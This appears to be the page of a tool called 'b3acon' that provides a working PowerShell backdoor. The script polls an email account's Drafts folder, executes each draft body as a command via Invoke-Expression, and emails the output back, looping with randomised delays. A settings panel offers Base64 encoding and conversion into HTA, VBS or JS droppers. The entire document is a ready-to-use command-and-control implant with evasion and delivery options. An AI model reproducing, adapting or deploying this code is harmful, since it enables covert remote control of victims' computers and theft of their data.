b3acon
v1.0
# Force TLS 1.2 [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 # Definizione classe IMAPClientV2 (rimane invariata) if (-not ([AppDomain]::CurrentDomain.GetAssemblies() | ForEach-Object { $_.GetType("IMAPClientV2") } | Where-Object { $_ -ne $null })) { Add-Type -TypeDefinition @" using System; using System.IO; using System.Net.Sockets; using System.Net.Security; using System.Text; using System.Collections.Generic; using System.Text.RegularExpressions; public class EmailData { public string Subject { get; set; } public string Body { get; set; } } public class IMAPClientV2 { public static Dictionary
GetAllDraftSubjects(string server, int port, string username, string password) { var draftEmails = new Dictionary
(); try { using (var tcpClient = new TcpClient(server, port)) using (var sslStream = new SslStream(tcpClient.GetStream())) { sslStream.AuthenticateAsClient(server); using (var writer = new StreamWriter(sslStream) { AutoFlush = true }) using (var reader = new StreamReader(sslStream)) { reader.ReadLine(); // Server greeting writer.WriteLine("A1 LOGIN " + username + " " + password); ReadResponse(reader, "A1"); writer.WriteLine("A2 SELECT Drafts"); ReadResponse(reader, "A2"); writer.WriteLine("A3 SEARCH ALL"); string searchResponse = ReadResponse(reader, "A3"); List
ids = ParseEmailIds(searchResponse); foreach (string id in ids) { writer.WriteLine("A4 FETCH " + id + " BODY[HEADER.FIELDS (SUBJECT)]"); string subjectResponse = ReadResponse(reader, "A4"); string subject = ExtractSubject(subjectResponse); writer.WriteLine("A5 FETCH " + id + " BODY[TEXT]"); string bodyResponse = ReadResponse(reader, "A5"); string body = ExtractBody(bodyResponse); draftEmails[id] = new EmailData { Subject = subject, Body = body }; } writer.WriteLine("A6 LOGOUT"); ReadResponse(reader, "A6"); } } } catch (Exception ex) { Console.WriteLine("Error: " + ex.Message); } return draftEmails; } private static string ReadResponse(StreamReader reader, string tag) { var response = new StringBuilder(); string line; while ((line = reader.ReadLine()) != null) { response.AppendLine(line); if (line.StartsWith(tag + " OK") || line.StartsWith(tag + " NO") || line.StartsWith(tag + " BAD")) break; } return response.ToString(); } private static List
ParseEmailIds(string response) { var ids = new List
(); var lines = response.Split('\n'); foreach (var line in lines) { if (line.StartsWith("* SEARCH")) { ids.AddRange(line.Replace("* SEARCH", "").Trim().Split(' ')); } } return ids; } private static string ExtractSubject(string response) { var lines = response.Split('\n'); foreach (var line in lines) { if (line.StartsWith("Subject:")) return line.Substring(8).Trim(); } return "(No Subject)"; } private static string ExtractBody(string response) { var match = Regex.Match(response, @"\{(\d+)\}\r\n(.+)\)", RegexOptions.Singleline); if (match.Success && match.Groups.Count > 2) { string bodyHtml = match.Groups[2].Value.Trim(); return StripHtmlTags(bodyHtml).Trim(); } return string.Empty; } private static string StripHtmlTags(string input) { return Regex.Replace(input, "<.*?>", String.Empty); } } "@ } # Initialize list of executed command IDs (in-memory only) $executedCommands = @() # CONFIGURABLE PARAMETERS $imapServer = "imap.yandex.com" $imapPort = 993 $emailUser = "address@example.com" $emailPassword = "password" $smtpServer = "smtp.yandex.com" $smtpPort = 587 $secondsDelay = 10 # Delay fisso in secondi (usato se randomDelayRange non è valido) $randomDelayRange = $null # Intervallo per il delay random (es. 10-20 secondi). Se non valido, usa secondsDelay. Mettere $null in caso di un delay fisso. # Function to calculate the delay function Get-Delay { # Check if randomDelayRange is defined and valid (array of two positive integers with first ≤ second) if ($randomDelayRange -and $randomDelayRange.Count -eq 2 -and $randomDelayRange[0] -is [int] -and $randomDelayRange[1] -is [int] -and $randomDelayRange[0] -gt 0 -and $randomDelayRange[0] -le $randomDelayRange[1]) { # Generate a random delay within the specified range return Get-Random -Minimum $randomDelayRange[0] -Maximum ($randomDelayRange[1] + 1) } else { # Use the fixed delay if randomDelayRange is invalid return $secondsDelay } } # Infinite loop while ($true) { Write-Host "`nChecking Drafts folder..." try { $subjects = [IMAPClientV2]::GetAllDraftSubjects($imapServer, $imapPort, $emailUser, $emailPassword) } catch { Write-Host "IMAP connection error: $_" # Calculate the delay $delay = Get-Delay Write-Host "Waiting $delay seconds before the next cycle (error)..." Start-Sleep -Seconds $delay continue } foreach ($id in $subjects.Keys) { $commandId = $subjects[$id].Subject.Trim() $commandContent = $subjects[$id].Body.Trim() if ($commandId -match '^\d{1,4}$') { if ($executedCommands -contains $commandId) { Write-Host "Command ${commandId} already executed." continue } Write-Host "Executing command ID ${commandId}: $commandContent" try { $output = (Invoke-Expression $commandContent 2>&1) -join "`r`n" if ([string]::IsNullOrWhiteSpace($output)) { $output = "Executed `"$commandContent`" on the machine." } $securePassword = ConvertTo-SecureString $emailPassword -AsPlainText -Force $credentials = New-Object System.Management.Automation.PSCredential ($emailUser, $securePassword) Send-MailMessage -From $emailUser -To $emailUser -Subject "Output comando ID ${commandId}" -Body $output -SmtpServer $smtpServer -Port $smtpPort -UseSsl -Credential $credentials Write-Host "Email sent for command ID ${commandId}." $executedCommands += $commandId } catch { Write-Host "Error executing command ID ${commandId}: $_" } } else { Write-Host "Email subject '$commandId' is not a valid ID." } } # Calculate delay for next cycle $delay = Get-Delay Write-Host "Waiting $delay seconds before the next cycle..." Start-Sleep -Seconds $delay }
Settings (optional)
IMAP Server:
IMAP Port:
Email User:
Email Password:
SMTP Server:
SMTP Port:
Fixed delay (sec):
Delay range (sec):
* If you fill in a range, the fixed delay will be ignored.
Encode in Base64
Update Script
Updated Script
Output Type:
HTA code only
Full HTA
VBS code only
Full VBS
JS code only
Full JS
Convert to Output
Converted Output